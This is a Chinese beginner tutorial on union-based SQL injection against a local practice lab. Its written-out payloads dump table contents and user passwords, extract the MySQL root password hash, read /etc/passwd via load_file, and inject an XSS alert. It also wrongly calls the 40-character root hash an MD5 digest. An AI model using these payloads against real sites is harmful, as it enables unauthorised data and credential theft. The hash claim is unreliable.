12 初识sql注入

1. 环境搭建

搭建一个简单的靶机环境,运用到简单的html,php,sql语句的知识,进行简单的sql注入

1.1 准备工作

1.1.1 下载,并解压靶机包

gitee仓库

  • 点进仓库,选择下载

image-20201208140038203

  • 将下载好的靶机包解压到你的phpstudy_pro安装路径下的www目录下,并重命名为为sqlin

image-20201208140403363

1.1.2 配置php网站环境

  • 本次靶机需要的php版本为php5.x,版本过高将无法启动,请手动切换php版本

image-20201208140549832

  • 开启mysqlnginx服务

image-20201208140606699

  • 打开db-creds.inc文件的修改数据库配置

image-20201208140923730

image-20201208141017193

1.2 测试环境

打开谷歌浏览器在地址栏中输入127.0.0.1/sqlin/,回车

image-20201208141451966

  • 选择关卡

image-20201208141543429

  • 出现以下画面即为靶机环境搭建成功

image-20201208141600513

2. union操作符

2.1 union介绍

SQL UNION 操作符可以合并两个或多个 SELECT 语句的结果。

2.2 union作用

  • UNION后面可以继续接SELECT语句
  • UNION可以跨表查询
  • UNION后面查到的结果的列数要和前面的语句一样
  • 如果UNION前面的条件执行结果为False,则只显示UNION后面的结果

3. sql注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先

定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据

库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

3.1 手动注入

  • 在地址栏后追加输入index.php?id=1

image-20201208142149898

猜测 : index.php这个php文件,接收我们在地址栏输入的id=1的这个值,然后拼接成对应的sql语句去数据

库查询对应的记录,然后将内容返回到页面上,即我们看到的这一部分

image-20201208142545778

3.2 判断是否存在注入点

在地址栏输入:

id=1'

image-20201208142801843

直接SQl语法错误报错,说明后台的php文件没有对我们输入的值做过滤限制,直接将我们输入的内容与sql语句拼

接,然后去数据库查询,说明这个站点存在sql注入漏洞,也就是说我们可以将sql语句输入在地址栏中,然后后

台接收到值,直接去数据库中查询,即执行sql语句。

3.3 获取列

  • 依次输入下面sql语句,判断当前表有几列
id=1 order by 1
id=1 order by 2
id=1 order by 3
id=1 order by 4

当输入第四句时,报错

image-20201208144039759

Unknown column说明他在当前表找不到第四列,由此可以判断当前表只有三列

3.4 获取列在网页上的显示位置

id=-1 union select 1,2,3    
# 当union前面的语句为False就显示后面的查询结果
# 但是要保证前后显示的列数相同

image-20201208144508094

出现以上画面,可以推断出当前页面上显示表的第二列是用户名,第三列是密码,我们可以通过指定union前面的

查询结果为False,然后再union后面显示我们想要获取的信息

3.5 获取数据库信息

-- 获取当前连接数据库的用户名和ip
UNION select 1,USER(),3

image-20201208145030947

-- 获取服务端口号
UNION select 1,@@port,3

image-20201208145427744

-- 获取数据库存放路径
UNION select 1,@@datadir,3

image-20201208145522943

-- 获取数据库版本,拿到版本可以去网上收集这个版本数据库存在的漏洞
UNION select 1,@@version,3

image-20201208145546389

3.6 获取库

-- 获取数据库库名
UNION select 1,DATABASE(),3

image-20201208145325819

3.7 获取表

在mysql数据库中有一个自带的information_schema库,这个库里面有一张TABLES表,表里面存放着你创建

的所有库和库里面的表的信息。

  • TABLE_SCHEMA 存放库名
  • TABLE_NAME 存放表名
-- 获取库中的表
id=-1 union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA = 'security'

image-20201208151951868

3.8 获取字段

  • COLUMNS 这个表里面存放着所有的列信息,即所有表的字段信息
  • COLUMNS_NAME 列名,即字段名
-- 获取表中的字段
id=-1 union select 1,group_concat(COLUMN_NAME),3 from information_schema.COLUMNS where TABLE_SCHEMA = "security" and TABLE_NAME = 'users' 
-- 指定库再指定表,否则可能出现不同的库下面有相同的表

image-20201208152530802

3.9 获取字段值

-- 获取字段值
id=-1 union select 1,username,password from security.users where username like "admin%" 

image-20201208153251490

3.10 获取mysql密码

-- 获取mysql密码
id=-1 union select 1,concat_ws(0x3A,user,authentication_string
),3 from mysql.user where user = "root"

image-20201208154956406

81F5E21E35407D884A6CD4A731AEBFB6AF209E1B一串MD5摘要后的字符串,可以通过去网上撞库查看

image-20201208155202051

3.11 获取任意文件内容

-- 获取文件内容
UNION SELECT 1,load_file('/etc/passwd'),3
UNION SELECT 1,load_file('/tmp/passwd.txt'),3

3.12 xss弹窗

UNION SELECT 1,<script>alert("XSS via SQL injection");</script>,3
原文地址:https://www.cnblogs.com/xcymn/p/14105452.html